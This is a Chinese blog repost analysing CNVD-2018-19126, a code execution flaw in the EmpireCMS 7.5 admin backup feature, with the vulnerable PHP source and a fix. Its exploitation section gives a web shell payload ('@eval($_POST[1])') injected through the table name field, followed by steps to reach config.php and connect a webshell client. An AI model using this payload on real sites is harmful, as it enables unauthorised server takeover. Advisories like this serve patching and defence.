博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
CNVD-2018-19126 EmpireCMS后台任意代码执行可GetShell
阅读量:5826 次
发布时间:2019-06-18

本文共 1653 字,大约阅读时间需要 5 分钟。

[漏洞描述]

EmpireCMS是一套免费的CMS(内容管理系统)。

EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过修改数据库表名可以实现任意代码执行。

[影响版本]

<=7.5

[漏洞危害]

[漏洞位置]

/e/admin/admin/ebak/phome.php[系统]-[系统设置]-[备份与恢复数据]-[备份数据]

[漏洞利用]

[系统]-[系统设置]-[备份与恢复数据]-[备份数据],选择任意数据表。

使用Burpsuit截取数据包。

将表名修改为一句话***。

#字段tablename[]=xxxxxxxx# 修改为:tablename[]=@eval($_POST[1])

[系统]-[系统设置]-[备份与恢复数据]-[管理备份目录]处,点击查看备份说明

点击[查看备份说明],将URL结尾处的readme.txt修改为config.php

使用菜刀连接。

[漏洞分析]

系统在/upload/e/admin/ebak/phome.php文件中接受备份数据库传递的参数。

elseif($phome=="DoEbak"){    Ebak_DoEbak($_POST,$logininid,$loginin);}

接受参数后,传递到\upload\e\admin\ebak\class\functions.php文件中的Ebak_DOEbak函数中。Ebak_DOEbak函数接受参数后,将数据库表名传递给变量$tablename

$tablename=$add['tablename'];    $count=count($tablename);    if(empty($count)){        printerror("MustChangeOneTable","history.go(-1)");    }    $add['baktype']=(int)$add['baktype'];    $add['filesize']=(int)$add['filesize'];    $add['bakline']=(int)$add['bakline'];    $add['autoauf']=(int)$add['autoauf'];    if((!$add['filesize']&&!$add['baktype'])||(!$add['bakline']&&$add['baktype'])){        printerror("FileSizeEmpty","history.go(-1)");    }

系统对表名遍历将其赋值给$b_table$d_table。在$d_table处将表名拼接为字符串。对拼接而成$tb数组未对其中的键值名添加双引号。

$b_table="";    $d_table="";    for($i=0;$i<$count;$i++){        $tablename[$i]=RepPostVar($tablename[$i]);        $b_table.=$tablename[$i].",";        $d_table.="\$tb[".$tablename[$i]."]=0;\r\n";    }

在生成config.php文件的过程中,对于$d_table没有进行处理,直接拼接到生成文件的字符串中,导致任意代码执行漏洞。

$string="
"; $cfile=$bakpath."/".$add['mypath']."/config.php"; WriteFiletext_n($cfile,$string);

插入恶意代码后生成的config.php文件。

[漏洞修复]:

在生成config.php文件时对表名处增加双引号。

转载于:https://blog.51cto.com/dearch/2309429

你可能感兴趣的文章
Electric Fence(皮克定理)
查看>>
nvl 在mysql中如何处理
查看>>
MyEclipse 快捷键
查看>>
快速傅里叶变换FFT
查看>>
大数据常用基本算法
查看>>
JavaScript学习笔记(十三)——生成器(generator)
查看>>
hibernate保存失败
查看>>
MySQL增量订阅&消费组件Canal POC
查看>>
Sqlite多线程
查看>>
数据结构-时间复杂度
查看>>
对象与字符串相互转换
查看>>
[NOIp2017提高组]小凯的疑惑
查看>>
《C程序设计语言》练习1-5
查看>>
$\frac{dy}{dx}$ 是什么意思?
查看>>
Go开发之路(目录)
查看>>
RHEL6.5安装成功ORACLE11GR2之后,编写PROC程序出错解决方法
查看>>
(50)与magento集成
查看>>
Ubuntu设置python3为默认版本
查看>>
JsonCpp 的使用
查看>>
问题账户需求分析
查看>>